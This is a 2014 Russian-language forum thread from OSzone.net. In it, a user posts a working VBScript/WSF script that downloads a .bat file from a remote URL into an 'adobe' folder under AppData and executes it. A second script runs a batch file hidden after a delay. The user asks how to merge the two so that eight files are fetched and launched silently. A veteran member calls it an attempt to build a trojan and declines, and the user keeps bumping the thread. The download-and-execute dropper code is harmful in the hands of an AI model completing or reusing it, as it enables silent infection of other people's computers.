Новости
Видео
Microsoft
Windows 10
Железо
Программы
Форум

Имя пользователя:
Пароль:  
Помощь | Регистрация | Забыли пароль?  | Правила  

Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - Скачивание,открытие,wsf-vbs

Ответить
Настройки темы
VBS/WSH/JS - Скачивание,открытие,wsf-vbs

Пользователь


Сообщения: 85
Благодарности: 1

Профиль | Отправить PM | Цитировать

Код: Выделить весь код
<?xml version='1.0' encoding='windows-1251' standalone='yes'?>
<job>
	<script language='VBScript'>
		<![CDATA[
			Option Explicit
			
			Const adTypeBinary = 1
			Const adModeReadWrite = 3
			Const adSaveCreateOverWrite = 2
			
			
			Dim strUrl
			Dim strDestPath
			
			Dim objFSO
			Dim objShell
			Dim objXMLHTTPRequest
			
			Dim strFullName
			
			
			strUrl = "http://site.ru/1.bat"
			
			Set objFSO   = WScript.CreateObject("Scripting.FileSystemObject")
			Set objShell = WScript.CreateObject("Shell.Application")
			
			strDestPath = objFSO.BuildPath(objShell.NameSpace("shell:AppData").self.Path, "adobe")
			
			If objFSO.FolderExists(strDestPath) Then
				Set objXMLHTTPRequest = WScript.CreateObject("Msxml2.XMLHTTP")
				
				objXMLHTTPRequest.Open "GET", strUrl,False
				objXMLHTTPRequest.send
				
				If objXMLHTTPRequest.status = 200 Then
					strFullName = objFSO.BuildPath(strDestPath, objFSO.GetFileName(decodeURI(strUrl)))
					
					With WScript.CreateObject("ADODB.Stream")
						.Mode = adModeReadWrite
						.Type = adTypeBinary
						.Open
						.Write objXMLHTTPRequest.responseBody
						.SaveToFile strFullName, adSaveCreateOverWrite
					End With
					
					objShell.ShellExecute strFullName
				Else
					WScript.Echo "Status: " & CStr(objXMLHTTPRequest.status)
				End If
				
				Set objXMLHTTPRequest = Nothing
			Else
				WScript.Echo "Destination path [" & strDestPath & "] not found."
				WScript.Quit 1
			End If
			
			Set objShell = Nothing
			Set objFSO   = Nothing
			
			WScript.Quit 0
		]]>
	</script>
	
	<script language='JScript'>
		<![CDATA[
			function decodeURI(sUrl) {
				return decodeURI(sUrl);
			}
		]]>
	</script>
</job>
Код: Выделить весь код
WScript.Sleep 10000
Set WshShell = CreateObject("WScript.Shell")  
WshShell.Run "(Путь Localappdata)\1.bat", 0, false  
Set WshShell = Nothing  
WScript.Quit
Подскажите пожалуйста как с первого wsf увеличить число скачиваемых файлов до 8,а после запустить их в "скрытом" режиме как во втором vbs и что бы все это было в 1 скрипте

Отправлено: 19:16, 18-09-2014

 

Ветеран


Сообщения: 27449
Благодарности: 8087

Профиль | Отправить PM | Цитировать

Gisender, Вы по-прежнему настойчиво продолжаете пытаться сварганить «на коленке» свой троян. Зачем? Занялись бы действительно чем-нибудь полезным. Вашу б энергию, да в мирное русло…

Отправлено: 19:43, 18-09-2014 | #2



Для отключения данного рекламного блока вам необходимо зарегистрироваться или войти с учетной записью социальной сети.

Если же вы забыли свой пароль на форуме, то воспользуйтесь данной ссылкой для восстановления пароля.


Пользователь


Сообщения: 85
Благодарности: 1

Профиль | Отправить PM | Цитировать

Да какой там "троян" я понимаю что это извращение,но я уже много сделал и не хочу бросать под конец,тем более осталось немного,помогите пожалуйста,последние действия остались,эта тема и еще та в которой вы не хотите не чего писать ))
P.S все работает уже проверял,так что для меня результат будет удовлетворительный
Что бы все работало как надо нужно доделать 2 файла,эту и ту тему и больше не буду мозолить своими темами вам глаза

Отправлено: 19:57, 18-09-2014 | #3


Пользователь


Сообщения: 85
Благодарности: 1

Профиль | Отправить PM | Цитировать

АП тему

Отправлено: 16:28, 22-09-2014 | #4


Пользователь


Сообщения: 85
Благодарности: 1

Профиль | Отправить PM | Цитировать

ап тему

Отправлено: 22:16, 23-09-2014 | #5



Компьютерный форум OSzone.net » Программирование, базы данных и автоматизация действий » Скриптовые языки администрирования Windows » VBS/WSH/JS - Скачивание,открытие,wsf-vbs

Участник сейчас на форуме Участник сейчас на форуме Участник вне форума Участник вне форума Автор темы Автор темы Шапка темы Сообщение прикреплено

Похожие темы
Название темы Автор Информация о форуме Ответов Последнее сообщение
VBS/WSH/JS - [решено] Открытие файла Excel с помощью vbs neo21 Скриптовые языки администрирования Windows 1 30-10-2011 20:08
CMD/BAT - [решено] открытие диалога выбора файла без mshta.exe (на cmd или js,vbs) AUTO-NEK Скриптовые языки администрирования Windows 14 23-05-2011 12:48
Помогите до конца почистить следы зловреда usb.wsf A_kitten Лечение систем от вредоносных программ 1 16-10-2010 10:18
VBS/WSH/JS - Помогите редактировать Autorun_Disable.vbs на Autorun_Enable.vbs nod201 Скриптовые языки администрирования Windows 0 05-12-2009 05:44


« Предыдущая тема | Следующая тема »


 
Переход